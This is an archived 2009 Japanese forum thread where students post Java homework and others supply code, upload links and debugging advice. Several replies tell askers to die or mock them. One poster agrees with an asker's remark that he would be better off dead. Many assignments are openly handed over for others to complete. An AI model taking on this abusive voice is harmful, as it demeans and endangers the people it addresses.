★★ Java の宿題ここで答えます Part 67 ★★

このエントリーをはてなブックマークに追加
【質問者へ】
回答者の便宜のため、以下の注意事項を遵守してください。
・質問は【課題提示用テンプレ】を利用してください。
・問題文は、出題されたまま全文を書いてください。
・数学問題は「○×法でせよ」だけでなく、その数式、前提条件も説明してください。
・JavaScriptは板違い、Web制作板をご利用ください。
・エラーは、その詳細と発生した行を書きましょう。エラーメッセージはコピペしてください。
・後から問題に付け足しするのはやめましょう。付け足しは作業を無駄にしがちです。
・回答されたら動作報告を必ずしてください。
・課題文が長い時、添付ファイルがある時はこちらのアップローダーを使うと便利です。
ttp://rg550.hp.infoseek.co.jp/cgi-bin/joyful/main.htm

【課題提示用テンプレ】
【 課題 】与えられた課題文をそのまま書きます。 《必須》
【 形態 】1. Javaアプリケーション(main()で開始)/2. Applet/3. Servlet/
       4. 携帯(開発環境のver.必須)/5. その他(明記のこと) 《必ず選択》
【 GUI  】1. AWTのみ/2. Swing/3. SWT/4. 制限なし/ 5. その他(明記すること)
       《GUIの課題の場合必ず選択》
【 期限 】提出期限、解答希望日を書きます。「できるだけ早く」はNG。 《必須》
【 Ver  】コンソールでjava -versionを実行し、その結果を貼ります。 《必須》
【 用語 】数学用語、専門用語の意味、説明を書きます。 《あれば必須》
【 補足 】課題について自分なりに補足する事、何か思う事があれば書きます。
       丸投げでない場合は、途中までのソースとその経過報告、
       質問点、疑問点を書きます(なるべく丸投げにしてください)。

【回答プログラムの掲載場所】
Java質問スレWiki  ttp://www.wikiroom.com/java/
ソースポストネット  ttp://sourcepost.sytes.net/
ろだ2  ttp://rg550.hp.infoseek.co.jp/cgi-bin/joyful/main.htm

【前スレ】
http://pc11.2ch.net/test/read.cgi/tech/1221652206/
2デフォルトの名無しさん:2009/01/22(木) 21:39:15
>>1
お疲れ様です。

回答したいんだけど、効率悪いプログラムとか批判されないか不安でたまらん
3デフォルトの名無しさん:2009/01/22(木) 21:53:28
>>前スレ989
http://rg550.hp.infoseek.co.jp/cgi-bin/joyful/img/560.java

ちょっと書いてみた 汚かったらごめんね
4前スレ989:2009/01/22(木) 22:20:10
>>3さん
int index =0;
min = num[i][j];
index = j;
の部分が考えつかなかったので助かりました
本当にありがとうございます、コメントは少し怖かったですが感謝しています

ちなみに前スレ971でもあります
先に書いておけばよかったです…前スレ990さんすみませんでした
5デフォルトの名無しさん:2009/01/22(木) 22:23:00
>>4
また課題持ってきたら解くよ
6デフォルトの名無しさん:2009/01/23(金) 04:38:50
>>1 乙です

すみません、前スレ968どなたかお願いします

【 課題 】<ゲームクリア画面の実装>
      ゲームのクリア条件を満たしたら、
      ゲームプレイ画面からゲームクリア画面へと移行するようにする。  
【 形態 】1. Javaアプリケーション(main()で開始)
【 GUI  】2. Swing
【 期限 】提出期限:2009.1.23
      解答希望日:2009.1.23
【 Ver  】 1.4.2_09
【 補足 】ttp://rg550.hp.infoseek.co.jp/cgi-bin/joyful/img/557.zip
      土台は前スレ897さんから頂いたこのプログラムです。
      クリア画面用の画像はsrcフォルダの中のimageフォルダに
      clear.gifという名前で入れています。
      ゲームクリア条件は敵の全滅です。(敵は上から踏むと消滅します)
7デフォルトの名無しさん:2009/01/23(金) 08:20:28
       //
     /  /   パカッ
     //⌒)∩__∩
    /.| .| ノ     ヽ
    / | |  ●   ● |     
   /  | 彡  ( _●_) ミ  まピョーん☆
   /  | ヽ  |∪|  /_
  // │   ヽノ  \/
  " ̄ ̄ ̄ ̄ ̄ ̄ ̄(..ノ
8デフォルトの名無しさん:2009/01/23(金) 14:39:32
>>6
zipが正常に解凍できないんだが、俺だけか?
9:2009/01/23(金) 16:16:30
>>8
そうなのですか!?
自分で試してみたら問題なかったのですが・・・;
Mac OS Xで、右クリック→アーカイブを作成
でzipにしました。
前スレ896では同じ方法で成功したのですが;どうしてかな;
10デフォルトの名無しさん:2009/01/23(金) 17:52:19
>>9
gameというディレクトリがあるよね。
それに「game 」ってな感じに空白入ってない?
その空白があやしい気がする。
11デフォルトの名無しさん:2009/01/23(金) 21:30:59
Windowsで解凍しようとした時に起きる現象と思われ。
たぶん>>10の言うとおりgameのうしろにスペースが入ってるもんだから
まず"game "ディレクトリが作られるが
次に名前の頭尾のスペースを削る仕様のために"game"という名前にリネームされ
次に"game "ディレクトリ下に解凍しようとしてそんなものは無いということで失敗する。
部分的に解凍することができる解凍プログラムを使うか
アーカイブ内の名前を変更できるアーカイブ操作プログラムで変更するか。
うちの場合WinRARで2箇所の"game "ディレクトリの名前を変更することで普通に解凍できた。
といっても課題をやる気はないけどね。
12デフォルトの名無しさん:2009/01/23(金) 21:39:06
回答者側に余計な負担をかけない一番の対応策は>>6が空白付きでないgameディレクトリでzipを作り直すことだけど。
このケース以外では大文字と小文字の違いだけの重複する名前とかがWindowsでは問題になる。
13デフォルトの名無しさん:2009/01/24(土) 02:07:16
前スレ932 マインスイーパーもどきを作るやつで
クリックしたとき地雷じゃなかったら周りの地雷を調べて数を表示するのがうまくいきません。

ttp://www.dotup.org/uploda/www.dotup.org0479.txt

どうすればいいんでしょうか?よろしくお願いします。
14デフォルトの名無しさん:2009/01/24(土) 07:01:10
>>13
力技で良いなら周りの8マスを調べて、カウントすればいい。

具体的にはix-1,iy-1を中心とする周り8マスだから、

ix-2,iy-2… 中心の左上
ix-1,iy-2… 中心の上

を順に調べて爆弾ならカウントすればいい


ただそれだと、マインスイーパーみたいに、
クリックした箇所に加えてその付近にも爆弾が無ければ、
一気に開拓してくれるっていうような動きは出来ないよね?

そこで "再帰処理" を使うのだよ
ちょっとどういうものかググってみてね
15デフォルトの名無しさん:2009/01/24(土) 13:11:47
初心者質問スレから来ました。
【 課題 】スレッドの制御
【 形態 】applet
【 GUI  】awt
【 期限 】提出期限:2009.1.27
      解答希望日:2009.1.25
【 Ver  】 1.6.0_11
【 補足 】
数値を入力して、それをパラメーターにしてグラフを描きます。
アプレットの構成は
変数の宣言の後
ActionPerformed(ActionEvent)
//ボタンが押されたら入力された文字列を読んで数値に変換してrepaint()
します。
init()
//入力画面を作っています。
paint()
getした数値を使って計算してグラフを描きます。

実行すると初期値でグラフを描き終わってからActionPerformed()でボタンの押されるの
待っています。
しかし、最初のプログラム実行時にpaint()を実行せずにActionPerformedでボタンの
押されるのを待っていたいのです。
スレッド制御のrun()やstop()を使うのだろうと思いますが、良く分かりません。
宜しくお願いします。

16デフォルトの名無しさん:2009/01/24(土) 13:56:01
>>15
素人の考えた課題や、意味不明の質問に答えるスレじゃねーよ。
初心者スレに行けよ
17デフォルトの名無しさん:2009/01/24(土) 16:45:08
13です。何度もすいません。
ttp://www.dotup.org/uploda/www.dotup.org1548.txt
こんな感じにしてみたのですが、カウントした数が増えていってしまいます。
何か足りないんでしょうか?
18デフォルトの名無しさん:2009/01/24(土) 16:50:08
>>17
> 何か足りないんでしょうか?
初期化?
19デフォルトの名無しさん:2009/01/24(土) 21:06:51
【 課題 】http://rg550.hp.infoseek.co.jp/cgi-bin/joyful/img/562.txt
【 形態 】1. Javaアプリケーション
【 期限 】提出期限:1/26 10:00
【 Ver  】java version "1.6.0_07"
【 補足 】丸投げします。毎回お世話になっていますが、今回もよろしくお願いします。
20デフォルトの名無しさん:2009/01/24(土) 23:41:38
int []a={0,1,2,3,4,5,6,7,8,9}っていう配列と
int []b={9,2,4,3,0,6,8,1,7,5}っていう配列があったときに、この2つを元にcっていう配列を作る。
cの配列中身は、aの配列のi番目の数字までは順番に表示し、それ以降はcの中の数字が重複しないようにbから順番に数字を選んで代入する。
例えばi=4なら、まず{0,1,2,3 までが決まって、それ以降はbの配列から0,1,2,3を除いた順に9,4,6,8,7,5と並べて
c={0,1,2,3,9,4,6,8,7,5}となる。こんなアルゴリズムってどう作ればいいんですか?
21デフォルトの名無しさん:2009/01/24(土) 23:50:45
>>20
死ねば出来るよ
22デフォルトの名無しさん:2009/01/25(日) 00:30:06
>>20
特別なことはしなくて、単にその日本語をプログラムに直訳すればいいと思うよ。
コメントがその文章になるような。
23デフォルトの名無しさん:2009/01/25(日) 02:17:21
24デフォルトの名無しさん:2009/01/25(日) 02:42:37
>>19
毎回回答者に代わっての回答の提出お疲れ様です。
回答者に単位を出す手続きを教務に申請しました。
25デフォルトの名無しさん:2009/01/25(日) 03:01:13
>>19
http://rg550.hp.infoseek.co.jp/cgi-bin/joyful/img/564.java
getPriorityを使えば必要の無い場合に括弧をつけなくて済むのか?
26デフォルトの名無しさん:2009/01/25(日) 16:48:53
>>23 >>25
解答ありがとうございます。

あのtxtファイルに書いてあることしか説明はありませんでした。
すみませんが自身もあまり意味を汲み取れませんでした・・・
27デフォルトの名無しさん:2009/01/25(日) 16:53:28
そりゃ授業を受けてないからでしょw
28:2009/01/26(月) 17:10:47
>>10-12
反応が遅れてすみません;
原因を教えて下さりありがとうございます!
自分では気づけませんでした;

ttp://rg550.hp.infoseek.co.jp/cgi-bin/joyful/img/565.zip
これで空白なしになったと思うのですが・・・
余分な手間をとらせてしまってすみません;
29デフォルトの名無しさん:2009/01/27(火) 01:02:57
>>28
http://rg550.hp.infoseek.co.jp/cgi-bin/joyful/img/566.zip

Map.java
MainPanel.java
に修正を加えたのでうpしたよ

従来だとLinkedList Spriteに 栗ボーとコインを入れていて、
描画やCollisionの判定の際に一緒にループを回していたよね

その状況下、敵の全滅を知る為には、
@栗ボーをremoveする時に、LinkedListの中身を全部確認して栗ボーの数を数える
  →栗ボーの数が0だったらゲームクリア
ALinkedListを継承した管理用のクラスを作成して、栗ボーの数を別に管理する
 →栗ボーをremove時、getNumOfMonster()みたいなので栗ボーの数を問い合わせる
   →それが0だったらゲームクリア
BLinkedListを別々に作成し、コインと栗ボーの描画、Collision判定の処理を別々に設ける


@は栗ボーふんづけた時に多大な負荷が予測されるから、こういったリアルタイムなゲームには向かないと思い却下

で、AとBで時間の掛からなそうなBを選びました。

追加した部分には"Added by"を追加したので検索してみてね
スマートじゃないと思ったらAを試してみて下さい!
30デフォルトの名無しさん:2009/01/27(火) 09:51:53
【 課題 】
@図形について、楕円クラスEllipseを定義し、さらに円クラスCircleをそのサブクラスとして定義せよ。
・楕円:Ellipse
長径、短径を指定してインスタンスを作成する。面積を計算できる
・円:Circle
半径を指定してインスタンスを作成する。直径、円周、面積が計算できる

AMonth.javaを書き変えず、継承を使って以下を実現したクラスMonth2.javaを作成せよ。
・紀元前対応
・カレンダー表示で開始曜日を指定できるようにする。
・2000年以降においては祝日対応。
?だいたいでよい(振り替え休日などが複雑すぎるため)
↓Month.java
http://rg550.hp.infoseek.co.jp/cgi-bin/joyful/img/567.txt
【 形態 】1. Javaアプリケーション
【 期限 】09年01月28日正午まで
【 Ver  】わかりません
【 補足 】
継承を習った授業の課題です。丸投げですがどうかよろしくお願いします。
31:2009/01/27(火) 12:14:01
>>29
本当に本当にありがとうございます!!
素早いご回答と、親切で丁寧に解説して下さって大変助かりましたm(_ _)m
課題は>>29さんに頂いたプログラムで出させてもらおうと思いますが、
せっかくアドバイスを頂いたので、Aの方も試してみようと思います!
本当にありがとうございました!!
32デフォルトの名無しさん:2009/01/27(火) 12:24:46
簡単すぎて申し訳ないけど
番号から3種類のクラスを作るこのプログラムの誤りを指摘せよという問題で
public class a {
public static void main (String[] args){
int no= 123456;
string class ;
switch (no % 3){
case 1:
class="A";
case 2:
class="B";
default
class="C";
}
System.out.println(class);
}
}

33デフォルトの名無しさん:2009/01/27(火) 13:10:17
>>32
string→String
string classのclass→予約語ではない他の変数名に
switch-caseで各caseにbreakはいらないの?
34デフォルトの名無しさん:2009/01/27(火) 13:14:52
>>32
>>1くらいよめ
そして死ね
35デフォルトの名無しさん:2009/01/27(火) 13:33:48
【 課題 】添付の通話料金を計算するCalculationクラスのホワイトボックステストの テストケースを作成しなさい。
djUnitのカヴァレッジレポートが100%になるようにテストケースを作成する こと。
テストケースは、JUnitテストケースとして作成します。
なるべく少ないテストケースで済ませるようにしなさい。

http://rg550.hp.infoseek.co.jp/cgi-bin/joyful/img/568.zip

【 形態 】1. Javaアプリケーション(main()で開始)/
【 GUI  】すいませんわかりません
【 期限 】1月27日 18時まで 《必須》
【 Ver  】これもわかりません
【 用語 】
【 補足 】ものすごい急で申し訳ありません
  結果的に100%になっていたらそれでいいです
36デフォルトの名無しさん:2009/01/27(火) 14:19:53
>>33 ありがとう助かった
>>34 1読んだ反省します
37デフォルトの名無しさん:2009/01/27(火) 15:17:18
38デフォルトの名無しさん:2009/01/27(火) 15:59:08
>>37
助かりました。ありがとうございます
39デフォルトの名無しさん:2009/01/27(火) 16:30:49
>>30
@だけ。
MainFrameをコンパイルして実行してくれ。
http://rg550.hp.infoseek.co.jp/cgi-bin/joyful/img/570.zip
40デフォルトの名無しさん:2009/01/28(水) 01:43:46
>>30
Aの元のコードがコンパイルを通らないって、どう言うこと?
41デフォルトの名無しさん:2009/01/28(水) 02:36:43
>>40
コメントの位置がずれてたりしてるからねー。
そこ直さないと無理でしょ。
42デフォルトの名無しさん:2009/01/28(水) 06:41:44
>>30
Month.javaを書き換え、Month2を書いて見たが、なんか納得いかない。
http://rg550.hp.infoseek.co.jp/cgi-bin/joyful/img/571.zip
4330:2009/01/28(水) 11:10:42
>>40
すいません・・・。元からうまくコピペできなくてずれたりしちゃいました・・・。

>>39>>42
どうもありがとうございます!!丸投げしといてあれですが自力ではとてもできそうにないので十分です。
本当にありがとうございました。
44デフォルトの名無しさん:2009/01/28(水) 15:08:37
【 課題 】プログラムをSwingに書き換える
【 形態 】1. Javaアプリケーション(main()で開始)
【 GUI  】2. Swing
【 期限 】本日中
【 Ver  】
java version "1.5.0_13"
Java(TM) 2 Runtime Environment, Standard Edition (build 1.5.0_13-b05-237)
Java HotSpot(TM) Client VM (build 1.5.0_13-119, mixed mode, sharing)

【 補足 】
Swingになって、java コマンドで実行出来る形になっていればOKです。
アプレットでのファイルは 以下のろだに貼ってあります。
時間がありませんがよろしくお願いします。

http://rg550.hp.infoseek.co.jp/cgi-bin/joyful/img/572.zip
45デフォルトの名無しさん:2009/01/28(水) 16:06:30
>>44
情報が足りない。
そのアプレットはHTMLからパラメータを得ているが、
HTMLが添付されていない為、渡されるパラメータの値がわからない。
46デフォルトの名無しさん:2009/01/28(水) 16:09:31
>>44
画像も必要っぽいな
4744:2009/01/28(水) 16:33:16
画像とhtmlもいれてうpし直しました。
わかっていないことがものすごく多いので、足りないことがあれば言ってください。
http://rg550.hp.infoseek.co.jp/cgi-bin/joyful/img/574.zip


48デフォルトの名無しさん:2009/01/28(水) 16:40:25
>>44
学校名と学籍番号が足りないな。
49デフォルトの名無しさん:2009/01/28(水) 16:43:06
>>47
ほんとにそれ課題のHTML?
クラス名も違うし、パラメータも違うけど。
numberとかrecordとかx_offsetとか書いてあるHTMLないの?
5044:2009/01/28(水) 16:48:24
<applet code="pzl22.class" width=400 height=400>
<param name="number" value="4">
<param name="record" value="299">
<param name="file" value="p01.jpg">
<param name="x_offset" value="0">
<param name="y_offset" value="0">
<param name="x_width" value="320">
<param name="y_height" value="160">
</applet>

入れるファイル間違えました。
51デフォルトの名無しさん:2009/01/28(水) 17:12:09
5244:2009/01/28(水) 17:37:05
pzl22.java:119: メソッドはそのスーパークラスのメソッドをオーバーライドしません。
@Override
^
pzl22.java:133: メソッドはそのスーパークラスのメソッドをオーバーライドしません。
@Override
^
pzl22.java:187: メソッドはそのスーパークラスのメソッドをオーバーライドしません。
@Override
^
pzl22.java:306: メソッドはそのスーパークラスのメソッドをオーバーライドしません。
@Override
^
pzl22.java:309: メソッドはそのスーパークラスのメソッドをオーバーライドしません。
@Override
^
pzl22.java:312: メソッドはそのスーパークラスのメソッドをオーバーライドしません。
@Override
^
pzl22.java:315: メソッドはそのスーパークラスのメソッドをオーバーライドしません。
@Override
^
エラー 7 個

こんなエラーが出ました
53デフォルトの名無しさん:2009/01/28(水) 17:45:50
>>52
コンパイラが古い所為
気にしなくて良い。
54デフォルトの名無しさん:2009/01/28(水) 17:57:08
あれ?
java version "1.5.0_13"
って@Overrideに対応してるんじゃなかったっけか?
JDK5.0からだと思ってたわ。
まぁ、そこでエラー出るなら消しちゃえばいいんだけどね。
5544:2009/01/28(水) 17:57:17
.classが出来ていないので実行出来ないんですが、どうしたらいいですか?
56デフォルトの名無しさん:2009/01/28(水) 17:59:30
>>54
実装はオーバーライドじゃないけど@Overrideって書くヤツが多いから、
最近の版では警告出ない。
5744:2009/01/28(水) 18:00:03
@Overrideをコメントアウトしたら出来ました!
ありがとうございます。
58デフォルトの名無しさん:2009/01/28(水) 18:00:10
>>55
該当の@Overrideを消しちゃえ
59デフォルトの名無しさん:2009/01/28(水) 18:03:19
>>56
そうなのか、知らんかった。
Eclipseに任せてたら@Overrideって出てた。
6044:2009/01/28(水) 18:03:40
実行をしたら、画像をクリックすると画像が消えてしまいます。
どうすればいいでしょうか?
61デフォルトの名無しさん:2009/01/28(水) 18:23:52
>>60
super.paint(g)の罠にはまった。
http://rg550.hp.infoseek.co.jp/cgi-bin/joyful/img/577.java
62デフォルトの名無しさん:2009/01/28(水) 18:40:15
【 課題 】国旗を表示するプログラム(日の丸、星条旗、ユニオンジャック等)を作れ。 指定された国旗を画面に表示する。少なくても10種類以上。
       国旗の指定にはメニューとかボタンとかを表示して、選択させること。
【 形態 】1. Javaアプリケーション(main()で開始)
【 GUI  】JFrame?
【 期限 】1月30日
【 Ver  】1.6.0_11
【 補足 】ttp://rg550.hp.infoseek.co.jp/cgi-bin/joyful/img/578.zip
JFrameを使えと指定されています。表示してほしい国旗10種は上記のファイルに入れてあります。
授業で使用したプログラムも同梱しておくので、国旗表示のメニューの作り方の例として参照していただけると助かります。
よろしくお願いします。
63デフォルトの名無しさん:2009/01/28(水) 19:18:47
64デフォルトの名無しさん:2009/01/28(水) 19:59:12
【 課題 】課題1、5つの整数「6」,「5」,「4」,「3」,「2」をint型配列に格納し
          最大値、最小値、平均値を表示してください
      課題2、(オーバーロード) 以下の条件に従って自己紹介を行うintroduceメソッドを作成します。それぞれ画面に表示してください。
          条件
          以下の引数で4つのメソッド(introduce)を定義してください
          @引数なし
           処理:「私の名前は「ひ・み・つ」です。」と表示
          A引数1つ String型
           処理:「私の名前は「XXXXX」です。」と表示
          B引数2つ String型、int型
           処理:「私の名前は「XXXXX」です。年齢は○○です。」と表示
          C引数3つ String型、int型、Boolean型
           処理:「私の名前は「XXXXX」です。年齢は○○です。
               結婚して います/いません。」と表示     
          
【 形態 】1. Javaアプリケーション(main()で開始)
【 GUI  】制限なし
【 期限 】1月29日
      
【 Ver  】1.6.0_11
【 補足 】長くなってしまい申し訳ないのですがよろしくお願いします。
65デフォルトの名無しさん:2009/01/28(水) 20:00:48
>>63
ちょっと説明不足でした、すみません。
あらかじめ用意された画像を表示するのではなく、
サンプルファイルの

drawJapan(Graphics g){
g.setColor(Color.white);
g.fillRect(180,100,300,200);
g.setColor(Color.red);
g.fillOval(280,150,100,100);

のように、国旗一つ一つをプログラムする。と言った内容の課題です。


66デフォルトの名無しさん:2009/01/28(水) 20:31:12
>>65
>>1
・後から問題に付け足しするのはやめましょう。付け足しは作業を無駄にしがちです。
67デフォルトの名無しさん:2009/01/28(水) 20:34:56
>>59
それはバージョン指定をちゃんとしてないからだな。
68デフォルトの名無しさん:2009/01/28(水) 22:33:04
【 課題 】チョイスにより、三角関数のグラフ(sin, cos, tan)のカーブを選択して
       描画領域に描画させるJavaアプリケーションを作成せよ。
【 形態 】1. Javaアプリケーション(main()で開始)
【 GUI  】4. 制限なし
【 期限 】1/30 12:00
【 Ver  】java version "1.5.0_12"
      Java(TM) 2 Runtime Environment, Standard Edition (build 1.5.0_12-b04)
      Java HotSpot(TM) Client VM (build 1.5.0_12-b04, mixed mode, sharing)
【 補足 】丸投げですが何卒よろしくお願いいたします
69デフォルトの名無しさん:2009/01/28(水) 22:50:30
70デフォルトの名無しさん:2009/01/28(水) 22:53:46
>>68
★★ Java の宿題ここで答えます Part 66 ★★
http://pc11.2ch.net/test/read.cgi/tech/1221652206/893
71デフォルトの名無しさん:2009/01/28(水) 22:58:56
>>69
動作確認できました、ありがとうございました!
問題の付けたしをしたにもかかわらず、
丁寧に答えてくださりありがとうございました。
72デフォルトの名無しさん:2009/01/28(水) 23:19:23
7344:2009/01/28(水) 23:42:40
ありがとうございました!
助かりました!
74デフォルトの名無しさん:2009/01/29(木) 23:55:09
【 課題 】白黒画像を読み込み、その画像と類似する画像を選択フォルダ内より比較、
      検索し、類似度の高い順にアプリケーション内に並べて出力せよ。
      1.画像の類似度は、画像内の白黒比率の比較と、画像の同位置ピクセルの
        同色比率の比較の2種類を行う。
      2.類似度の重み付けは白黒比率:同色比率=1:2とする。
      3.読み込む画像サイズとデータベース内の比較する画像サイズが異なる場合、
        データベース内の画像を拡大、又は縮小してサイズを合わせてから比較する。
        サイズが同じであればそのまま比較へ移行する。
      4.テキストボックスを設置し、並べて出力された画像を選択すると1で比較した
        値を各テキストボックスに出力する。        
【 形態 】1.Javaアプリケーション(main()で開始)
【 GUI  】4.制限なし
【 期限 】1月30日
【 Ver  】1.6.0_11
【 補足 】丸投げで大変申し訳ないのですが、よろしくお願いします。
7574 ◆/hhXTUq7wc :2009/01/30(金) 00:14:18
自己解決しました。
76デフォルトの名無しさん:2009/01/30(金) 00:18:20
>>75
それは良かった
7774:2009/01/30(金) 09:52:14
>>75
こちらが頼み込む手前、大きな顔ができないのは重々承知ですが、
虚言は控えていただきますようお願いします。
どちらが自己解決されたのかは存じませんが、私の解決はされておりません。
78デフォルトの名無しさん:2009/01/30(金) 12:18:18
>>77
テストに使うファイルもなし、
画面の設計もなしじゃ、
どのみち自己解決してもらうしか
79デフォルトの名無しさん:2009/01/30(金) 16:32:36
>>74
微妙に仕様と違うと思うが、どうだろう。
白黒画像は自分で用意できるよね?
http://rg550.hp.infoseek.co.jp/cgi-bin/joyful/img/582.java
8079:2009/01/30(金) 16:38:19
171行目間違えた
×: if(mono_image.getRGB(k, j) == im.getRGB(k, j))
○: if(im2.getRGB(k, j) == im.getRGB(k, j))
8174:2009/01/31(土) 11:14:09
>>79
早急な対応ありがとうございます。
大変助かりました。
82sage:2009/01/31(土) 22:00:32
【 課題 】コンテナに3つのパネルを用意し、1つ目のパネルには3つのボタン、
2つ目のパネルにはボタン、ラベル、ボタン、3つ目のパネルには4つ
のボタンを用意する。ラベルの初期値には 0 を表示して、9つのボタン
の中で1つのボタンを押すとそのボタンに表示してある数値だけ、ラベル
の表示が増化する(例えば、9のボタンに1から9までの数値を付けると
2のボタンを押すとラベルの表示が0から2になり、さらに3のボタン
を押すとラベルが2から5になる)プログラムを作成する(ボタンのレ
イアウトは自由)。
【 形態 】1. Javaアプリケーション(main()で開始
【 GUI  】4. 制限なし    
【 期限 】1月31日 
【 補足 】丸投げで大変申し訳ないです。。。
      よろしくお願いいたします。

83デフォルトの名無しさん:2009/01/31(土) 23:04:59
84デフォルトの名無しさん:2009/01/31(土) 23:19:02
お早い回答ありがとうございます!
自分はeclipseというツールを使ってJAVAを学習しているのですが、eclipse上で
>>83 さんのプログラムを実行してみたところうまく作動しません
まことに図々しいのですがアドバイスいただけると嬉しいです。
85デフォルトの名無しさん:2009/01/31(土) 23:26:12
スマン、おれeclipse使って無いんで何で動作しないのか分からないなぁ。
ソースを「ThreePanel.java」って名前で保存してDOS窓から「javac ThreePanel.java」
でコンパイルすれば動作すると思うんだけど。
86デフォルトの名無しさん:2009/01/31(土) 23:31:54
お手数おかけしました
何とかeclipseでも動かすことができました!
本当にありがとうございました!
87デフォルトの名無しさん:2009/01/31(土) 23:33:31
お、良かったっす
8864:2009/02/01(日) 12:05:28
>>72
ありがとうございます、助かりました!
89デフォルトの名無しさん:2009/02/01(日) 12:19:37
【 課題 】入力の為に2つのテキストフィールドがある
出力のために1つのテキストフィールドがある
加減乗除のそれぞれに対応する4個のボタンがある
上記の条件を満たした電卓を作れ
【 形態 】2. Applet
【 GUI  】1. AWTのみ
【 期限 】2月1日
【 Ver  】1.5.0
【 補足 】丸投げで申し訳ないです・・・ お願いします
90デフォルトの名無しさん:2009/02/01(日) 18:11:22
91デフォルトの名無しさん:2009/02/01(日) 22:15:34
>>90
ありがとうございます。助かりました
自分でもう一度復習します
返信送れて申し訳ないです
92デフォルトの名無しさん:2009/02/02(月) 19:29:57
質問です。
「台形の面積を求めるクラスを定義し、
これらのインスタンス変数を初期化し、
図形の面積を計算するコンストラクタを用意し、
台形の面積を表示しなさい」
という課題が出ました。
授業を聞いてましたが全然分かりません。
どなたか教えてください
93デフォルトの名無しさん:2009/02/02(月) 19:32:29
>>92
>>1くらい読め
死んでから読め
94デフォルトの名無しさん:2009/02/02(月) 19:50:32
>>93
読みましたがテンプレに書いてあることすら
分からないです、すいません
私なんて死んだ方がいいですね
95デフォルトの名無しさん:2009/02/02(月) 19:57:37
>>94
答えはYES
96デフォルトの名無しさん:2009/02/02(月) 23:27:07
たぶん>>94さんはプログラマに向いてないんだと思う。
頑張って医者か弁護士でも目指して下さい。
97デフォルトの名無しさん:2009/02/03(火) 00:31:26
>>96
>>1も理解出来ない>>94さんにはそんな目標は無茶だよ。
せめて頭脳労働から離れてあげないと
98デフォルトの名無しさん:2009/02/03(火) 01:19:31
>>97
じゃあ、総理大臣に
99デフォルトの名無しさん:2009/02/03(火) 01:46:28
ちょwww
国のトップとかやめれwwwww
100デフォルトの名無しさん:2009/02/03(火) 12:28:48
>>92
class Daikei {
class Keisan (int jyo, int ka, int taka) {
System.out.println("menseki=", (jyo + ka) / taka);
}
public static main (String argv) {
Keisan k1 = new Keisan(1, 2, 3);
Keisan k2 = new Keisan(2, 3, 4);
Keisan k3 = new Keisan(3, 4, 5);
}
}
101デフォルトの名無しさん:2009/02/03(火) 14:50:26
冗談きついぜ
102100:2009/02/03(火) 15:12:23
(上辺+底辺) * 高さ ÷ 2 だった
103デフォルトの名無しさん:2009/02/03(火) 19:32:33
>>99
大丈夫、漢字読めなくてもなれるくらいだから。
10494:2009/02/03(火) 21:47:26
>>100さん
ありがとうございます
頑張って医師免許をとり司法試験を合格し、一級建築士になりオリンピックに出て総理大臣を経て、初の黄色人種でのアメリカ合衆国大統領に就任したいと思います
105デフォルトの名無しさん:2009/02/03(火) 22:05:41
初の黄色人種大統領はJFKだろ
当時はあからさまに人種差別が激しかったから
そのせいでプリンストン大学を退学してる
106デフォルトの名無しさん:2009/02/04(水) 09:04:09
>>102
問題はそこだけじゃなくて…
コンパイルしてみろよ
107100:2009/02/04(水) 09:57:49
訂正版

class Daikei {
Daikei (int jyo, int ka, int taka) {
System.out.println("menseki=" + (jyo + ka) * taka / 2);
}
public static void main (String[] argv) {
Daikei k1 = new Daikei(1, 2, 3);
Daikei k2 = new Daikei(2, 3, 4);
Daikei k3 = new Daikei(3, 4, 5);
}
}
108デフォルトの名無しさん:2009/02/04(水) 10:15:40
>>107
ネタじゃなかったのか?
インスタンス変数を初期化しろって書いてあるぞ
109100:2009/02/04(水) 12:37:51
インスタンス変数って何だ?
110100:2009/02/04(水) 13:26:51
k1.jyou = 30; こういうのか。インスタンス変数を初期化したらコンストラクタで計算出来なくね?
111デフォルトの名無しさん:2009/02/04(水) 13:48:19
コンストラクタで計算するって言うことは面積をあらかじめメンバー変数にもっとけってことじゃね?
つーか課題といい質問者といい回答者といいそろいもそろってアレだな
112デフォルトの名無しさん:2009/02/04(水) 14:24:48
>>107を使わせてもらった。

class Daikei {
private int jyo, ka, taka;
private double area;

Daikei (int jyo, int ka, int taka) {
this.jyo = jyo;
this.ka = ka;
this.taka = taka;
area = (jyo + ka) * taka / 2.0;
}

@Override
public String toString(){
return String.valueOf(area);
}

public static void main (String[] argv) {
Daikei k1 = new Daikei(1, 2, 3);
Daikei k2 = new Daikei(2, 3, 4);
Daikei k3 = new Daikei(3, 4, 5);

System.out.println(k1);
System.out.println(k2);
System.out.println(k3);
}
}
113デフォルトの名無しさん:2009/02/04(水) 14:31:34
計算して求められる物は保持しないのが基本
この場合toStringのオーバーライドは良くない
面積を計算するメソッドを作って、それをコンストラクタから呼べば
のちのち良いことがあると思う
114デフォルトの名無しさん:2009/02/04(水) 14:37:58
>>113
それは正論だけど仕様でコンストラクタで面積を計算しろと書いてあるから仕方ないだろ。
115デフォルトの名無しさん:2009/02/04(水) 14:39:41
>>113
ということはこういう事か?

class Daikei {
private int jyo, ka, taka;

Daikei (int jyo, int ka, int taka) {
this.jyo = jyo;
this.ka = ka;
this.taka = taka;
System.out.println(area());
}

public double area(){
return (jyo + ka) * taka / 2.0;
}

public static void main (String[] args) {
Daikei k1 = new Daikei(1, 2, 3);
Daikei k2 = new Daikei(2, 3, 4);
Daikei k3 = new Daikei(3, 4, 5);
}
}
116デフォルトの名無しさん:2009/02/04(水) 14:43:22
おお、スマートになった
117115:2009/02/04(水) 14:46:25
てか、toStringのオーバーライドってどういう時にするんだ?
118デフォルトの名無しさん:2009/02/04(水) 14:47:40
dateのtoStringはオーバーライド汁と、誰か書いてたなw
119デフォルトの名無しさん:2009/02/04(水) 16:45:38
>>100=115
なんでお前こんなスレにいるんだ?
120115:2009/02/04(水) 16:50:27
>>119
自分の勉強にもなると思ったからだ。
ちなみに俺は>>100ではない。
でもレベルは>>100と同等かもしれん。
121100:2009/02/04(水) 17:17:42
出題者が悪い。俺じゃね
122問題全文:2009/02/04(水) 21:09:46
高さが学籍番号の下3桁、基底が学籍番号の下4桁の台形の面積を求めるクラスを定義し、
これらのインスタンス変数を初期化し、
図形の面積を計算するコンストラクタを用意し、
台形の面積を表示しなさいまた、台形の面積を(学籍番号)倍にする
インスタンスメソッドを作成せよ。
(例)学生番号12345678の場合、高さ:678、上底:56、下底:78
123デフォルトの名無しさん:2009/02/04(水) 21:51:56
>>122
>>1くらい読め
読んで、死ね
